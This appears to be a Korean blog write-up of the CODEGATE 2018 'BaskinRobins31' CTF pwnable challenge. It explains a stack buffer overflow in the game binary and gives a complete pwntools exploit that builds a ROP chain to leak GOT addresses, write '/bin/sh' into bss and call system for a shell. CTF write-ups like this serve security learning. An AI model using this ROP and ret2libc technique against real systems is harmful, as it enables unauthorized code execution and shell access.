Write-up

[CODEGATE 2018] BaskinRobins31 write-up

ch4rli3kop 2018. 2. 6. 01:51
반응형

문제는 BaskinRobs31 게임입니다.

게임의 규칙은 다들 아시다시피, 31이라는 카운트에서 서로 1~3 까지의 수를 말하고 그에 해당하는 값만큼 값을 깎는 것을 반복하는 겁니다. 자신의 차례에 이미 카운트가 0이 되어있다면 지는 게임입니다.


하지만 모든 게임에는 잔머리가 있듯이, 필!승!전1략1이 있는데요. 제가 한 번 해보겠습니다.


이 게임은 선빵을 먼저 때릴 수 있으면 이기는 게임입니다. 3만 계속 외치다보면 어느순간 상대방의 차례에는 4가 남아, 상대방은 어떤  수를 내도 다음 차례에 질 수 밖에 없기 때문이져.


근데 이놈이 사기를 칩니다; ㅎ..ㅎㅎ

프로그램 따위에게 농락을 당해버렸지만, 그 복수는 쉘을 따버리는 것으로 갚겠습니다.



친절하시게도 제일 먼저, ROP가 힌트라고 알려줍니다.


문제를 분석해보자면, 일단 크게 반복문 안에서, my_turn 이라는 서버의 차례와 your_turn 이라는 사용자의 차례가 계속 반복되는 구조입니다.


이 두가지 차례 중에 your_turn 을 깊게 들여다 봅시다.



read로 사용자의 입력을 받습니다. 사용자의 입력 값을 받는 부분이 가장 중요하므로 자세히 들여다 봅니다.

제가 임의로 이름을 정한 inputS 라는 곳에 0x190만큼 문자열을 입력받네요. 그런데 이 inputS 라는 곳은 스택 상에서 확인해보면 rbp - 0xb0 에 위치하고 있습니다. 

확실한 버퍼오버플로우 공격이 일어날 수 있습니다! 힌트가 ROP 이니, 버퍼오버플로우로 ROP Chain을 적당히 잘 구성하면 될 것 같습니다.


ROP Chain을 구성할 때, 이용할 수 있는 사실들이 몇 가지 있는데, 다음과 같습니다.


 첫 번째로, 사실 이번 대회에 이 사실은 처음 알았는데, no pie에서 write 함수의 plt 와 got 의 주소는 변하지 않는다는 것을 이용해서 write 함수의 got 값을 leak 할 수 있습니다. 이 메모리 릭을 통해 system 함수를 불러낼 수 있는 주소를 알아내봅니다. 

 두 번째로, system 함수의 인자로 들어가 "/bin/sh" 문자열을 만들어 봅시다. read 함수가 있으니 이를 통해, 적당히 bss 영역에 문자열을 만들 수 있습니다.

 세 번째로, 적당히 main 시작 주소와 같은 영역으로 ROP Chain에서 ret 하면 산뜻하게 read 함수를 이용하여 입력을 다시 줄 수 있습니다.


위와 같은 사실들에 기반하여 대충 페이로드를 짜봅시다.

#step 1. memory leak 후 main으로 다시 return

#step 2. bss 영역에 "/bin/sh" 입력 후, 다시 main으로 return

#step 3. call system("/bin/sh")


대충 저렇게 짜기위해 필요한 준비물들을 구해보도록 합시당.


pop3 = 0x040087a

적당히 bss = 0x602000 + 0x100

read_plt = 0x400700

read_got = 0x602040

write_plt = 0x4006d0

write_got = 0x602028

main = 0x400a4b


그래서 최종 익스는 이렇게 짰습니당.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
r=process('./BaskinRobins31')
#r = remote("ch41l3ng3s.codegate.kr",3131)
 
 
pop3 = 0x040087a
bss = 0x602000+0x100
write_plt = 0x4006d0
write_got = 0x602028
main = 0x00400a4b
read_plt = 0x400700
read_got = 0x602040
 
## memory leak ##
r.recvuntil("(1-3)\n")
raw_input(">> 1. memory leak\n")
pay = ""
pay += "\x00"*184
pay += p64(pop3)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(write_plt)
pay += p64(pop3)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_plt) 
pay += p64(main)
 
r.sendline( pay ) 
r.recvuntil("Don't break the rules...:( ")
r.recv(1) # recv '\n'
leak1 = u64(r.recv(8))
success("write_got = " + hex(leak1))
leak2 = u64(r.recv(8))
success("read_got = " + hex(leak2))
 
 
write_addr = leak1
system_addr = write_addr - 691744 #local
#system_addr = write_addr - 728864 #server
 
 
 
## make /bin/sh ##
 
raw_input(">> 2. Let's make /bin/sh\n")
r.recvuntil("(1-3)\n")
 
pay2 = ""
pay2 += "\x00"*184
pay2 += p64(pop3)
pay2 += p64(0)
pay2 += p64(bss)
pay2 += p64(8)
pay2 += p64(read_plt)
pay2 += p64(main)
 
r.sendline( pay2 )
r.recvuntil("Don't break the rules...:( ")
r.sendline("/bin/sh")
 
 
## CRACK!!! ##
 
pop1 = 0x000400bc3
 
raw_input(">> 3. Let's shell! \n")
r.recvuntil("(1-3)\n")
 
pay3 = ""
pay3 += "\x00"*184
pay3 += p64(pop1)
pay3 += p64(bss)
pay3 += p64(system_addr)
 
r.sendline( pay3 )
r.recvuntil("Don't break the rules...:( ")
 
 
r.interactive()
cs

실행 화면은 다음과 같은데, write 뿐만 아니라 read 주소까지 릭하는 이유는 서버의 라이브러리를 구해서 system 과 write 와의 오프셋을 구하기 위함입니다.

서버에 돌려서  나오는 것들을 보면서 좀 더 자세하게 쓰면 좋겠는데, 서버에 접속이 안되네여 ㅠ

암튼 익스가 성공했읍니다!


(+)

ㅜㅜ.. 이렇게 쉬운 문제였는데, 대회 당시에는 왤케 이상한 곳에서 삽질했는지 모르겠네요. 친구와 어찌저찌 합심해서 풀기는 했지만, 너무 힘들게 풀었던거 같습니당.

뭐 그래도 이 문제에 대해 머리싸매는 동안 많이 배운 것 같습니다. 사실 엄청 깊게 생각해보지는 않았던 ret plt got rip 관계라던지, 메모리 릭을 어떻게하면 발생시킬 수 있을지에 대해서 이렇게 고민 많이 해 본 적은 없었던 것 같네요. 대회 기간동안 많이 성장할 수 있었던 것 같습니다. 다음 번에는 더 좋은 성적을 내고 싶습니다.

이번 대회 덕분에 포너블에 대한 관심이 많아졌고, 개인적으로 좋은 터닝 포인트가 되었던 것 같습니다. 우리 팀원들도 많이많이 수고했고, 앞으로도 더 많은 대회에 참여해서 좋은 결과를 얻었으면 좋겠습니다.




반응형

'Write-up' 카테고리의 다른 글

[Harekaze CTF 2018] Lost_data writeup  (0) 2018.02.12
[Harekaze CTF 2018] Harekaze Farm writeup  (0) 2018.02.12
[pwnable.kr] random write-up  (0) 2018.01.23
[pwnable.kr] blackjack write-up  (0) 2018.01.22
[pwnable.kr] cmd1 write-up  (0) 2018.01.17